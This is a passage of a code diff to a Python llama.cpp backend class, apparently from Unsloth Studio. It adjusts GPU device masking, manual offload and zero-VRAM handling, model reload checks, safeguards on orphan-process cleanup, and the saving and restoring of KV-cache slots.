                 # Library paths so llama-server finds its shared libs and CUDA DLLs.
                 env = self._llama_server_env_for_binary(binary)
+                if gpu_memory_mode == "manual":
+                    self._clear_manual_placement_env(env)
                 # Omitting --threads relies on llama.cpp's physical-core default, so
                 # drop an inherited LLAMA_ARG_THREADS that would otherwise feed the
                 # arg handler and silently force hardware_concurrency(). #5692
                 if "--threads" not in cmd:
                     env.pop("LLAMA_ARG_THREADS", None)
 
-                # Reconcile the inherited LLAMA_ARG_* env with Studio's final
+                # Reconcile the inherited LLAMA_ARG_* env with Unsloth's final
                 # decision: stripping CLI extras on a tensor->layer downgrade
-                # can't remove env vars, so the child could run a mode/KV Studio
+                # can't remove env vars, so the child could run a mode/KV Unsloth
                 # didn't budget.
                 if not tensor_parallel:
                     # Layer split: clear a non-layer inherited split mode (and any
@@ -6180,7 +7796,7 @@ class LlamaCppBackend:
                         env.pop("LLAMA_ARG_SPLIT_MODE", None)
                         env.pop("LLAMA_ARG_TENSOR_SPLIT", None)
                 else:
-                    # Studio owns the tensor split: it emits --tensor-split when it
+                    # Unsloth owns the tensor split: it emits --tensor-split when it
                     # picks an uneven one (CLI wins) and nothing when an even split
                     # is safe. Clear any inherited LLAMA_ARG_TENSOR_SPLIT so the even
                     # case can't be overridden by a stale env (the layer branch above
@@ -6202,44 +7818,62 @@ class LlamaCppBackend:
                         env.setdefault("OMP_NUM_THREADS", "2")
 
                 # AMD unified-memory APUs (gfx1150/gfx1151): let llama.cpp use
-                # shared system RAM. setdefault so a user value wins.
-                if self._amd_apu_wants_unified_memory(gpu_indices):
+                # shared system RAM. setdefault so a user value wins. Not on Vulkan
+                # (nor DC below): gpu_indices are ggml ordinals, not CUDA/ROCm ids.
+                if not is_vulkan_backend and self._amd_apu_wants_unified_memory(gpu_indices):
                     env.setdefault("GGML_CUDA_ENABLE_UNIFIED_MEMORY", "1")
                     logger.info("AMD unified-memory APU: set GGML_CUDA_ENABLE_UNIFIED_MEMORY=1")
 
                 # DC NVIDIA GPUs: FP32 accum (+ P2P / launch queues for multi-GPU).
                 # See _apply_datacenter_env; opt out with UNSLOTH_DISABLE_DC_TUNING=1.
-                if self._apply_datacenter_env(env, gpu_indices):
+                if not is_vulkan_backend and self._apply_datacenter_env(env, gpu_indices):
                     multi_gpu = self._effective_gpu_count(gpu_indices) > 1
                     logger.info(
                         f"Data-center GPU detected: applied DC llama.cpp env tuning (multi_gpu={multi_gpu})"
                     )
 
                 # Pin to selected GPU(s). On ROCm, narrowing only
-                # CUDA_VISIBLE_DEVICES leaves an AMD child seeing the full
-                # set, so set HIP_VISIBLE_DEVICES too.
-                if gpu_indices is not None:
-                    pinned = ",".join(str(i) for i in gpu_indices)
-                    env["CUDA_VISIBLE_DEVICES"] = pinned
-                    try:
-                        import torch as _torch
-                        if getattr(_torch.version, "hip", None) is not None:
-                            env["HIP_VISIBLE_DEVICES"] = pinned
-                            # Do NOT also set ROCR_VISIBLE_DEVICES to the same
-                            # value. ROCR_VISIBLE_DEVICES filters at the HSA/ROCr
-                            # layer and HIP_VISIBLE_DEVICES at the HIP layer, so
-                            # setting both with the same physical indices applies
-                            # the mask twice: ROCR reduces the visible set and
-                            # re-indexes it from 0, then HIP indexes into the
-                            # already-reduced set. A single non-zero pin (e.g.
-                            # "1") then points out of range at the HIP layer, HIP
-                            # enumerates 0 devices, and llama.cpp falls back to
-                            # CPU ("ggml_cuda_init: no ROCm-capable device is
-                            # detected"). The HIP mask alone narrows correctly;
-                            # clear any inherited ROCR mask so it can't double up.
-                            env.pop("ROCR_VISIBLE_DEVICES", None)
-                    except Exception as e:
-                        logger.debug("Failed to set ROCm visibility env vars for child: %s", e)
+                # CUDA_VISIBLE_DEVICES leaves an AMD child seeing the full set, so
+                # set HIP_VISIBLE_DEVICES too. Vulkan is pinned via --device
+                # (above), not here.
+                # A deliberate zero-offload load with no GPU companions runs
+                # entirely on CPU, yet a visible CUDA device still costs the child
+                # ~0.5 GB (context + compute scratch) that the CPU-only
+                # classification below reports as free. Hide the GPUs so the load
+                # is exactly what it claims: zero VRAM (verified: GPU stays at idle
+                # baseline and generation runs). Companion loads keep the normal
+                # masking, and a user device pin (in extras or an inherited
+                # LLAMA_ARG_DEVICE) keeps control of its own devices -- the child
+                # aborts on a pin it can't see. The draft-device forms count too:
+                # llama-server parses them even with no drafter loaded.
+                _cpu_only_zero_offload = (
+                    gpu_memory_mode == "manual"
+                    and gpu_layers == 0
+                    and not is_vulkan_backend
+                    and not self._zero_offload_keeps_gpu_visible(cmd, env)
+                )
+                if _cpu_only_zero_offload:
+                    self._emit_child_gpu_visibility(env, "-1")
+                elif gpu_indices is not None and not is_vulkan_backend:
+                    # When the user picked GPUs by index, align CUDA's ordering
+                    # with the PCI-bus order the picker enumerated (nvidia-smi),
+                    # so "GPU 1" in the UI is GPU 1 to llama.cpp -- not CUDA's
+                    # default FASTEST_FIRST order (#5025).
+                    if gpu_ids:
+                        env["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"
+                    # Mask on AMD at the ROCr/HSA layer: HIP-only masking still
+                    # enumerates every agent first, which segfaults on a deselected
+                    # unsupported GPU (e.g. gfx1103 iGPU under a gfx110X prebuilt).
+                    self._emit_child_gpu_visibility(
+                        env, ",".join(str(i) for i in gpu_indices), prefer_rocr = True
+                    )
+                elif manual_tensor_split_emitted and not is_vulkan_backend:
+                    # A manual per-GPU ratio across ALL GPUs (no explicit pick, so
+                    # no CUDA_VISIBLE_DEVICES mask above): the UI built the
+                    # --tensor-split list in ascending physical/PCI index order,
+                    # so pin the child's enumeration to that order too. The whole
+                    # visible set stays in use; only its ordering is fixed.
+                    self._pin_visible_gpu_order_for_split(env)
 
                 # Captured before any text-only fallback strips it from cmd.
                 launched_with_mmproj = "--mmproj" in cmd
@@ -6249,7 +7883,7 @@ class LlamaCppBackend:
                 # 'on') even when -ngl is explicit. That step has aborted on
                 # some ROCm hosts (ggml-cuda.cu ROCm error during worst-case
                 # estimation, e.g. MTP + mmproj models on gfx1151). When
-                # Studio's own VRAM math already placed the model
+                # Unsloth's own VRAM math already placed the model
                 # (use_fit=False), the step is redundant second-guessing --
                 # retry once with --fit off before declaring the load failed.
                 # Never retry when fit was requested (use_fit) or the caller
@@ -6332,7 +7966,7 @@ class LlamaCppBackend:
                             and _startup_crashed
                             and not _split_axis_crash
                         ):
-                            # We forced --fit off because Studio's (conservative) VRAM
+                            # We forced --fit off because Unsloth's (conservative) VRAM
                             # math placed the model fully on GPU. A startup crash here
                             # means that estimate was optimistic, so fall back to --fit
                             # on and let llama.cpp offload rather than fail the load.
@@ -6344,7 +7978,7 @@ class LlamaCppBackend:
                                 self._process.returncode,
                                 self._llama_log_path,
                             )
-                            # Flip Studio's own --fit off (added first, before any
+                            # Flip Unsloth's own --fit off (added first, before any
                             # user extra args) to on; a user's later --fit still wins
                             # by last-arg. Defensive: if absent, the default is already
                             # --fit on, so leave it.
@@ -6361,7 +7995,7 @@ class LlamaCppBackend:
                         ):
                             logger.warning(
                                 "llama-server crashed during startup (exit code %s) "
-                                "with the default memory-fit step enabled; Studio "
+                                "with the default memory-fit step enabled; Unsloth "
                                 "already verified the model fits, retrying once "
                                 "with --fit off. Crash log: %s",
                                 self._process.returncode,
@@ -6398,7 +8032,6 @@ class LlamaCppBackend:
                 self._effective_context_length = (
                     effective_ctx if effective_ctx > 0 else self._context_length
                 )
-                self._reconcile_effective_ctx_with_server()
                 self._max_context_length = (
                     max_available_ctx if max_available_ctx > 0 else self._effective_context_length
                 )
@@ -6441,7 +8074,7 @@ class LlamaCppBackend:
                         cmd = _fa_cmd
                         healthy = _spawn_and_wait(_fa_cmd, label = "-noflash")
 
-                # MTP from Studio's spec flags or the user's (extra_args
+                # MTP from Unsloth's spec flags or the user's (extra_args
                 # --spec-type / LLAMA_ARG_SPEC_TYPE). The env reaches the child
                 # only when neither emits a spec flag, so consult it only then.
                 _launch_spec_env: Mapping[str, str] = (
@@ -6583,6 +8216,10 @@ class LlamaCppBackend:
                             "session; run 'unsloth studio update' to enable vision."
                         )
                         cmd = self._strip_mmproj_args(_last_spawn_cmd)
+                        # This retry bypasses _spawn_and_wait, so refresh the
+                        # launched-argv snapshot itself -- the zero-offload
+                        # classification below must not see the stripped --mmproj.
+                        _last_spawn_cmd = list(cmd)
                         self._is_vision = False
                         self._mmproj_has_audio = False
                         self._start_llama_process(cmd, env)
@@ -6591,6 +8228,20 @@ class LlamaCppBackend:
                             # an OS-killed text-only retry still gets the OOM message.
                             _retry_rc = self._process.poll() if self._process is not None else None
                             self._kill_process()
+                            # If the text-only retry ALSO hard-crashed (a signal, not
+                            # OOM/timeout), the vision projector was never the cause:
+                            # llama-server is faulting during GPU/driver init. Say so
+                            # -- with the ROCm fix -- instead of blaming the mmproj.
+                            if self._is_signal_crash(_retry_rc):
+                                raise RuntimeError(
+                                    "llama-server crashed at startup on both the vision "
+                                    "and text-only attempts -- a GPU driver/runtime "
+                                    "initialization crash, not a model or vision-projector "
+                                    "problem. This often means an unsupported secondary "
+                                    "GPU; on AMD/ROCm, hide it with ROCR_VISIBLE_DEVICES "
+                                    "(e.g. ROCR_VISIBLE_DEVICES=0 exposes only the first "
+                                    "GPU) before launching Unsloth Studio."
+                                )
                             raise RuntimeError(
                                 "Vision projector incompatible with this llama.cpp "
                                 "build, and the text-only retry also failed: "
@@ -6612,6 +8263,14 @@ class LlamaCppBackend:
                         )
 
                 self._healthy = True
+                self._commit_effective_parallel_slots(n_parallel)
+
+                # Server is up: adopt the real per-request context it allocated
+                # -- the length --fit chose, or a --parallel slot split -- so the
+                # reported context_length matches reality. (Querying /props
+                # before the spawn above always failed; the seeded value was the
+                # requested/native length.)
+                self._reconcile_effective_ctx_with_server()
 
                 # Commit caller intent only after _healthy=True so a failed start
                 # can't poison the next inheritance check. None keeps prior, []
@@ -6627,18 +8286,31 @@ class LlamaCppBackend:
                 self._mtp_runtime_fallback_active = _mtp_active_for_launched_server
                 self._start_mtp_crash_watchdog()
 
-                # Catch silent CPU fallback when GPU was intended (#5106).
-                self._gpu_offload_active = self._classify_gpu_offload(
-                    gpu_indices is not None or use_fit, gpus or []
-                )
-                if self._gpu_offload_active is False:
+                # Catch silent CPU fallback when GPU was intended (#5106). Manual
+                # offload (no picker) leaves gpu_indices None and use_fit False, so
+                # include its GPU-layer intent; use the preserved probe since
+                # auto-layers/manual empty `gpus`. A deliberate zero-offload load
+                # classifies by its launched argv instead: the main model is
+                # CPU-only by construction and must read False (not None), or
+                # training needlessly unloads a server holding no VRAM.
+                _deliberate_cpu_only = gpu_memory_mode == "manual" and gpu_layers == 0
+                if _deliberate_cpu_only:
+                    self._gpu_offload_active = self._zero_offload_gpu_flag(
+                        _last_spawn_cmd, _detected_gpus, env
+                    )
+                else:
+                    self._gpu_offload_active = self._classify_gpu_offload(
+                        gpu_indices is not None or use_fit or gpu_memory_mode == "manual",
+                        _detected_gpus,
+                    )
+                if self._gpu_offload_active is False and not _deliberate_cpu_only:
                     logger.warning(
                         "llama-server appears to have loaded the model entirely "
-                        "on CPU even though Studio detected at least one GPU. "
+                        "on CPU even though Unsloth detected at least one GPU. "
                         "This usually means the prebuilt binary's GPU backend "
                         "failed to load -- on Windows, cudart64_X.dll / "
                         "cublas64_X.dll could not be resolved. Reinstall the "
-                        "Studio llama.cpp prebuilt or install a matching CUDA "
+                        "Unsloth llama.cpp prebuilt or install a matching CUDA "
                         "toolkit (issue unslothai/unsloth#5106).",
                     )
 
@@ -6674,6 +8346,15 @@ class LlamaCppBackend:
 
             if not self._healthy:
                 return False
+            # Snapshot the files the server actually loaded. If a GGUF shard or a
+            # LoRA/control-vector sidecar is swapped on disk afterwards while the
+            # old weights stay mapped, save_slots_for_resume() compares against
+            # this and refuses to persist KV that a reload could misapply.
+            if self._slot_save_dir:
+                self._slot_loaded_identity = (
+                    self._gguf_file_identity(self._gguf_path),
+                    self._slot_launch_fingerprint(),
+                )
             return True
 
     def _build_speculative_flags(
@@ -6935,7 +8616,7 @@ class LlamaCppBackend:
                 logger.info(
                     "Auto: MLA embedded-MTP model detected; llama.cpp's MLA/DSA "
                     "MTP path is slower than no speculation, so using ngram-mod "
-                    "instead. Override via the Studio Speculative Decoding "
+                    "instead. Override via the Unsloth Speculative Decoding "
                     "dropdown or UNSLOTH_MLA_MTP_ENABLED=1."
                 )
                 _emit_ngram_mod()
@@ -6963,7 +8644,7 @@ class LlamaCppBackend:
                     f"MTP GGUF detected but model size {_mtp_size_b:.1f}B "
                     "is below the 3B speedup threshold; using ngram-mod "
                     "only (zero-VRAM, no draft head). Override via "
-                    "--spec-type or the Studio Speculative Decoding "
+                    "--spec-type or the Unsloth Speculative Decoding "
                     "dropdown."
                 )
                 _emit_ngram_mod()
@@ -6994,6 +8675,11 @@ class LlamaCppBackend:
         gguf_path: Optional[str] = None,
         spec_draft_n_max: Optional[int] = None,
         tensor_parallel: bool = False,
+        gpu_memory_mode: Literal["auto", "manual"] = "auto",
+        gpu_layers: int = -1,
+        n_cpu_moe: int = 0,
+        tensor_split: Optional[List[float]] = None,
+        gpu_ids: Optional[List[int]] = None,
         mtp_draft_path: Optional[str] = None,
         preserve_multi_gpu_on_layer: bool = False,
     ) -> bool:
@@ -7050,6 +8736,38 @@ class LlamaCppBackend:
         ):
             return False
 
+        # The diffusion runner is mode-agnostic (always "auto", ignores the
+        # layer/MoE/split knobs), so a standing manual preference in the
+        # request must not force a needless reload -- only the GPU pick matters.
+        if not self._is_diffusion:
+            # A GPU-memory-mode flip (Unsloth / manual) must always reload.
+            if self._gpu_memory_mode != gpu_memory_mode:
+                return False
+            # Manual: a layer-count change always reloads (covers Auto(-1) <-> a
+            # pinned count); MoE/split only matter with an explicit offload.
+            if gpu_memory_mode == "manual" and (
+                self._gpu_layers != gpu_layers
+                or (
+                    gpu_layers >= 0
+                    and (
+                        self._n_cpu_moe != n_cpu_moe
+                        or (self._tensor_split or None) != (tensor_split or None)
+                    )
+                )
+            ):
+                return False
+        # A changed GPU pick must reload (compare order-insensitively; None/[]
+        # both mean automatic). The diffusion runner collapses a multi-GPU pick
+        # to its single lowest device, so self._gpu_ids holds just that device;
+        # normalize the request the same way, or a multi-GPU pick that resolves
+        # to the same device needlessly reloads.
+        if self._is_diffusion:
+            requested_gpu_pick = [sorted(gpu_ids)[0]] if gpu_ids else None
+        else:
+            requested_gpu_pick = sorted(gpu_ids) if gpu_ids else None
+        if (self._gpu_ids or None) != requested_gpu_pick:
+            return False
+
         # Compare on the canonical requested mode. With --spec-type in
         # extra_args the backend stores None; mirror that here.
         if _extra_args_set_spec_type(extra_args):
@@ -7118,6 +8836,78 @@ class LlamaCppBackend:
             return None
         return classify_gpu_offload_lines(self._stdout_lines)
 
+    @staticmethod
+    def _cmd_has_gpu_companion(cmd: list, env: Optional[Mapping[str, str]] = None) -> bool:
+        """True when the argv/env carries a GPU companion: any --mmproj form, or
+        a drafter (Studio's --model-draft, the extras aliases, or the
+        LLAMA_ARG_SPEC_DRAFT_* env) -- these offload to the GPU regardless of
+        the main ``--gpu-layers``. A drafter explicitly forced to CPU
+        (--spec-draft-ngl 0 / --spec-draft-device cpu) doesn't count."""
+        if any(str(a).startswith("--mmproj") for a in cmd):
+            return True
+        if _extra_args_mtp_draft_path(cmd, env) is None:
+            return False
+        return not _extra_args_draft_offloaded_to_cpu(cmd, env)
+
+    @staticmethod
+    def _zero_offload_keeps_gpu_visible(cmd: list, env: Optional[Mapping[str, str]] = None) -> bool:
+        """Whether a zero-layer launch still has a reason to use visible GPUs.
+
+        Keep this shared by child masking and post-launch residency bookkeeping:
+        a device pin, surviving tensor mode, mmproj, or GPU drafter prevents the
+        launch from being a confirmed zero-VRAM server.
+        """
+        return (
+            LlamaCppBackend._cmd_has_gpu_device_pin(cmd, env)
+            or _effective_tensor_parallel(cmd, False, env)
+            or LlamaCppBackend._cmd_has_gpu_companion(cmd, env)
+        )
+
+    @staticmethod
+    def _cmd_has_gpu_device_pin(cmd: list, env: Optional[Mapping[str, str]] = None) -> bool:
+        """True when the effective main or draft ``--device`` pin names a GPU."""
+        main_flags = {"--device", "-dev"}
+        draft_flags = {"--spec-draft-device", "-devd", "--device-draft"}
+        last_main: Optional[str] = None
+        last_draft: Optional[str] = None
+        args = [str(arg) for arg in cmd]
+        for index, raw in enumerate(args):
+            flag, equals, inline = raw.partition("=")
+            if flag not in main_flags and flag not in draft_flags:
+                continue
+            value = inline if equals else (args[index + 1] if index + 1 < len(args) else "")
+            if flag in main_flags:
+                last_main = value
+            else:
+                last_draft = value
+        if last_main is None:
+            last_main = (env or {}).get("LLAMA_ARG_DEVICE")
+
+        def _names_gpu(value: Optional[str]) -> bool:
+            if value is None:
+                return False
+            devices = [item.strip().lower() for item in value.split(",") if item.strip()]
+            return not devices or any(item not in ("cpu", "none") for item in devices)
+
+        return _names_gpu(last_main) or _names_gpu(last_draft)
+
+    @staticmethod
+    def _zero_offload_gpu_flag(
+        spawn_cmd: list,
+        detected_gpus: list,
+        env: Optional[Mapping[str, str]] = None,
+    ) -> Optional[bool]:
+        """GPU-residency flag for a deliberate manual zero-offload load. The
+        main model is CPU-only by construction, but device pins, tensor mode,
+        mmproj, and GPU drafters can still make the server hold VRAM. The counted
+        offload classifier cannot see those allocations. This uses the same
+        predicate as the launch-time zero-VRAM mask; None means no GPU signal."""
+        if not detected_gpus:
+            return None
+        if LlamaCppBackend._is_vulkan_backend():
+            return True
+        return LlamaCppBackend._zero_offload_keeps_gpu_visible(spawn_cmd, env)
+
     def load_cancelled(self) -> bool:
         """True if a load was cancelled (e.g. via unload/_cancel_event) and not
         yet consumed by the next load_model. Lets the tensor->layer fallback
@@ -7149,6 +8939,11 @@ class LlamaCppBackend:
             self._context_length = None
             self._effective_context_length = None
             self._max_context_length = None
+            self._reset_effective_parallel_slots()
+            self._slot_save_dir = None
+            self._slot_save_binary = None
+            self._slot_loaded_identity = None
+            self._prompt_cache_disabled = False
             self._chat_template = None
             self._chat_template_override = None
             self._supports_reasoning = False
@@ -7160,11 +8955,18 @@ class LlamaCppBackend:
             self._supports_tools = False
             self._cache_type_kv = None
             self._tensor_parallel = False
+            self._gpu_memory_mode = "auto"
+            self._gpu_layers = -1
+            self._n_cpu_moe = 0
+            self._tensor_split = None
+            self._gpu_ids = None
             self._layer_preserves_tensor_intent = False
             self._speculative_type = None
             self._requested_spec_mode = None
             self._spec_draft_n_max = None
             self._n_layers = None
+            self._n_experts = None
+            self._leading_dense_block_count = None
             self._n_kv_heads = None
             self._n_kv_heads_by_layer = None
             self._n_heads = None
@@ -7204,6 +9006,7 @@ class LlamaCppBackend:
         # Stop the watchdog before a deliberate kill so a planned reload/unload
         # isn't seen as a crash; a real crash never routes through here.
         self._stop_mtp_crash_watchdog()
+        self._reset_effective_parallel_slots()
         if self._process is None:
             return
         try:
@@ -7226,6 +9029,10 @@ class LlamaCppBackend:
             # Clear healthy so a /load during the replacement's warm-up can't
             # short-circuit against the previous server's health (#5401).
             self._healthy = False
+            # Reset to unknown so the training guard treats the next (still
+            # loading) server as VRAM-resident rather than reading the killed
+            # server's stale zero-offload flag until the health probe reclassifies.
+            self._gpu_offload_active = None
             # Drives _wait_for_vram_settle in the next load_model; set in finally
             # so both in-process and frontend Apply paths record the kill.
             self._last_kill_monotonic = time.monotonic()
@@ -7339,7 +9146,7 @@ class LlamaCppBackend:
     def _pid_parent_is_alive(pid: int) -> bool:
         """True if the recorded server's parent is still running, i.e. the server is
         NOT orphaned. Lets the cross-session reap kill only a true orphan (parent
-        gone) and never a live server owned by a running Studio, regardless of which
+        gone) and never a live server owned by a running Unsloth, regardless of which
         process performs the sweep. Biased toward "alive" on uncertainty so a live
         server is never mistakenly reaped."""
         try:
@@ -7379,9 +9186,9 @@ class LlamaCppBackend:
     @classmethod
     def _reap_recorded_pid(cls) -> int:
         """Kill the exact llama-server PID recorded at spawn, but only when it is a
-        genuine orphan -- its parent (the Studio that spawned it) is gone. This is
+        genuine orphan -- its parent (the Unsloth that spawned it) is gone. This is
         the cross-session backstop the parent-death reaper (Job Object /
-        PR_SET_PDEATHSIG) cannot cover: an orphan left by an already-dead Studio
+        PR_SET_PDEATHSIG) cannot cover: an orphan left by an already-dead Unsloth
         (macOS, a best-effort failure, or a pre-existing orphan). Path-independent,
         so it also catches an orphan the install-root match would miss.
 
@@ -7438,7 +9245,7 @@ class LlamaCppBackend:
         """Kill orphaned llama-server processes started by studio.
 
         Only kills processes whose resolved binary lives under a known
-        Studio install dir (or matches an exact env-var override), to avoid
+        Unsloth install dir (or matches an exact env-var override), to avoid
         terminating unrelated llama-server instances. Mirrors every location
         _find_llama_server_binary() can return, so orphans from any
         supported install path are cleaned up.
@@ -7458,7 +9265,7 @@ class LlamaCppBackend:
         try:
             # -- Build the ownership allowlist --------------------------------
             # exact_binaries -- env var overrides (exact path match).
-            # install_roots  -- Studio-owned dir trees (binary must be under one).
+            # install_roots  -- Unsloth-owned dir trees (binary must be under one).
             install_roots: list[Path] = []
 
             # Env-mode custom root (mirrors _find_llama_server_binary).
@@ -7468,7 +9275,7 @@ class LlamaCppBackend:
                 install_roots.append(_resolved_sr / "llama.cpp")
 
             # Primary install dir (default mode only). Env-mode skips this so a
-            # custom-root Studio can't kill a default-install Studio's server.
+            # custom-root Unsloth can't kill a default-install Unsloth's server.
             if not _is_custom_root:
                 install_roots.append(Path.home() / ".unsloth" / "llama.cpp")
 
@@ -7542,6 +9349,11 @@ class LlamaCppBackend:
                         if not is_ours:
                             continue
 
+                        # A live parent means a running Unsloth (or the user's
+                        # shell) still owns it -- not an orphan.
+                        if LlamaCppBackend._pid_parent_is_alive(proc.info["pid"]):
+                            continue
+
                         proc.kill()
                         killed += 1
                         logger.info(
@@ -7594,6 +9406,9 @@ class LlamaCppBackend:
                     if not owned:
                         continue
 
+                    if LlamaCppBackend._pid_parent_is_alive(pid):
+                        continue
+
                     try:
                         os.kill(pid, signal.SIGKILL)
                         killed += 1
@@ -7614,7 +9429,7 @@ class LlamaCppBackend:
     def _fit_off_retry_eligible(cmd: "list[str]", use_fit: bool) -> bool:
         """Whether a llama-server startup crash may be retried with --fit off.
 
-        Only when Studio's own VRAM math placed the model (use_fit=False)
+        Only when Unsloth's own VRAM math placed the model (use_fit=False)
         and nothing on the command line set the fit mode explicitly
         (-fit / --fit, space- or equals-form). --fit-ctx / --fit-target /
         -fitc / -fitt tune the fit step but do not select the mode, so
@@ -7655,6 +9470,237 @@ class LlamaCppBackend:
             return False
         return True
 
+    def _slot_launch_fingerprint(self) -> tuple:
+        # KV validity keys on extra args, stat'd sidecar weights, effective ctx.
+        sidecars = []
+        for path in self._sidecar_weight_files():
+            try:
+                st = os.stat(path)
+                sidecars.append((path, st.st_size, st.st_mtime_ns))
+            except OSError:
+                sidecars.append((path, None, None))
+        return (
+            tuple(self._extra_args or ()),
+            tuple(sidecars),
+            self._requested_n_ctx,
+            self._effective_context_length,
+            getattr(self, "_cache_type_kv", None),
+            self.effective_parallel_slots,
+        )
+
+    def _gguf_file_identity(self, path) -> Optional[tuple]:
+        # (size, mtime_ns) per shard: a split GGUF keys KV validity on every sibling.
+        p = Path(path)
+        paths = [p]
+        m = _SHARD_FULL_RE.match(p.name)
+        if m:
+            prefix, _first, total = m.groups()
+            paths = [
+                p.with_name(f"{prefix}-{i:05d}-of-{total}{p.suffix}")
+                for i in range(1, int(total) + 1)
+            ]
+        try:
+            return tuple((sp.stat().st_size, sp.stat().st_mtime_ns) for sp in paths)
+        except OSError:
+            return None
+
+    _SIDECAR_WEIGHT_FLAGS = (
+        "--lora",
+        "--lora-scaled",
+        "--control-vector",
+        "--control-vector-scaled",
+    )
+
+    def _sidecar_weight_files(self) -> list[str]:
+        # llama.cpp: comma-separated paths, FNAME:SCALE on -scaled (older builds: FNAME SCALE).
+        args = [str(a).strip() for a in (self._extra_args or ())]
+        files: list[str] = []
+        for i, arg in enumerate(args):
+            flag, sep, inline = arg.partition("=")
+            if flag not in self._SIDECAR_WEIGHT_FLAGS:
+                continue
+            operand = inline if sep else (args[i + 1] if i + 1 < len(args) else "")
+            if not operand:
+                continue
+            candidates = [operand]
+            pieces = [p for p in operand.split(",") if p]
+            if len(pieces) > 1:
+                candidates.extend(pieces)
+            if flag.endswith("-scaled"):
+                for item in list(candidates):
+                    # ":<number>" tail is a scale; rpartition spares drive letters.
+                    head, colon, tail = item.rpartition(":")
+                    if not (colon and head):
+                        continue
+                    try:
+                        float(tail)
+                    except ValueError:
+                        continue
+                    candidates.append(head)
+            for cand in candidates:
+                if cand not in files:
+                    files.append(cand)
+        return files
+
+    def _prompt_cache_off(self) -> bool:
+        # Caching off makes restores useless; last prompt-cache flag wins, env only when unset.
+        last = None
+        for arg in self._extra_args or ():
+            flag = arg.strip().split("=", 1)[0]
+            if flag in ("--cache-prompt", "--no-cache-prompt"):
+                last = flag
+        if last is not None:
+            return last == "--no-cache-prompt"
+        if self._prompt_cache_disabled:
+            return True
+        if os.environ.get("LLAMA_ARG_NO_CACHE_PROMPT") is not None:
+            return True
+        env = (os.environ.get("LLAMA_ARG_CACHE_PROMPT") or "").strip().lower()
+        return env in {"off", "disabled", "false", "0"}
+
+    def save_slots_for_resume(
+        self, should_abort: Optional[Callable[[], bool]] = None
+    ) -> Optional[dict]:
+        if (
+            not self.is_loaded
+            or not self._slot_save_dir
+            or not self._gguf_path
+            or self._prompt_cache_off()
+        ):
+            return None
+        save_dir = Path(self._slot_save_dir)
+        gguf_stat = self._gguf_file_identity(self._gguf_path)
+        if gguf_stat is None:
+            return None
+        launch = self._slot_launch_fingerprint()
+        # If the GGUF or a sidecar was swapped on disk while the original weights
+        # stayed mapped, the live KV belongs to the old weights but a reload would
+        # load the new file. Persisting it would let restore misapply stale KV.
+        if self._slot_loaded_identity is not None and self._slot_loaded_identity != (
+            gguf_stat,
+            launch,
+        ):
+            logger.debug("Skipping slot save: model files changed on disk since load")
+            return None
+        try:
+            estimate = self._estimate_kv_cache_bytes(
+                self._effective_context_length or self._context_length or 0,
+                self._cache_type_kv,
+                n_parallel = self.effective_parallel_slots,
+            )
+            # Skip before writing anything when the estimate alone blows the cap,
+            # rather than fully writing a slot and discarding it afterwards.
+            if estimate > _SLOT_SAVE_MAX_BYTES:
+                logger.debug(
+                    "Skipping slot save: estimated %d bytes exceeds cap %d",
+                    estimate,
+                    _SLOT_SAVE_MAX_BYTES,
+                )
+                return None
+            # A 0 estimate means metadata was insufficient, not a zero-byte cache:
+            # a slot can still be many GiB, so demand room for the whole cap before
+            # trusting the post-write check.
+            required = (estimate if estimate > 0 else _SLOT_SAVE_MAX_BYTES) + (1 << 30)
+            if shutil.disk_usage(save_dir).free < required:
+                logger.debug("Skipping slot save: insufficient free disk")
+                return None
+        except Exception:
+            pass
+        token = uuid.uuid4().hex[:8]
+        entries: list[dict] = []
+        total_bytes = 0
+        for slot in range(self.effective_parallel_slots):
+            # A request pending mid-save waits on the gate; stop wasting its time.
+            if should_abort is not None and should_abort():
+                break
+            filename = f"resume-{token}-slot{slot}.bin"
+            path = save_dir / filename
+            try:
+                resp = httpx.post(
+                    f"{self.base_url}/slots/{slot}",
+                    params = {"action": "save"},
+                    json = {"filename": filename},
+                    headers = self._auth_headers,
+                    timeout = _SLOT_SAVE_HTTP_TIMEOUT,
+                    trust_env = False,
+                )
+            except Exception as e:
+                logger.debug(f"slot {slot} save failed: {e}")
+                with contextlib.suppress(OSError):
+                    path.unlink()
+                break
+            if resp.status_code != 200:
+                logger.debug(f"slot {slot} save returned HTTP {resp.status_code}")
+                with contextlib.suppress(OSError):
+                    path.unlink()
+                continue
+            try:
+                body = resp.json()
+                if not isinstance(body, dict):
+                    raise ValueError("slot save response was not a JSON object")
+                n_saved = int(body.get("n_saved") or 0)
+            except Exception as e:
+                # A 200 that still wrote a file but returns a malformed body must
+                # clean up like the transport/HTTP error paths above, or the file
+                # (which holds chat KV) is orphaned until the next startup sweep.
+                logger.debug(f"slot {slot} save returned an invalid response: {e}")
+                with contextlib.suppress(OSError):
+                    path.unlink()
+                continue
+            if n_saved <= 0:
+                with contextlib.suppress(OSError):
+                    path.unlink()
+                continue
+            # Account by the bytes actually on disk, not the server-reported
+            # count, so the cap holds even if a custom binary under-reports.
+            try:
+                n_written = path.stat().st_size
+            except OSError:
+                n_written = 0
+            total_bytes += n_written
+            entries.append({"id": slot, "filename": filename, "n_saved": n_saved})
+            if total_bytes > _SLOT_SAVE_MAX_BYTES:
+                break  # already over the cap; the discard below cleans up
+        if not entries:
+            return None
+        if total_bytes > _SLOT_SAVE_MAX_BYTES:
+            logger.debug(
+                "Discarding slot save: %d bytes exceeds cap %d",
+                total_bytes,
+                _SLOT_SAVE_MAX_BYTES,
+            )
+            for entry in entries:
+                with contextlib.suppress(OSError):
+                    (save_dir / entry["filename"]).unlink()
+            return None
+        return {
+            "dir": self._slot_save_dir,
+            "binary": self._slot_save_binary,
+            "gguf": str(self._gguf_path),
+            "gguf_stat": gguf_stat,
+            "launch": launch,
+            "slots": entries,
+        }
+
+    def restore_slots_for_resume(self, manifest: dict) -> None:
+        if not self.is_loaded or not self._slot_save_dir:
+            return
+        for entry in manifest.get("slots") or []:
+            try:
+                resp = httpx.post(
+                    f"{self.base_url}/slots/{int(entry['id'])}",
+                    params = {"action": "restore"},
+                    json = {"filename": str(entry["filename"])},
+                    headers = self._auth_headers,
+                    timeout = _SLOT_SAVE_HTTP_TIMEOUT,
+                    trust_env = False,
+                )
+            except Exception as e:
+                logger.debug(f"slot restore failed: {e}")
+                break
+            if resp.status_code != 200:
+                logger.debug(f"slot {entry.get('id')} restore returned HTTP {resp.status_code}")
+
     def _maybe_recover_from_mtp_crash(self, exc: Optional[BaseException] = None) -> bool:
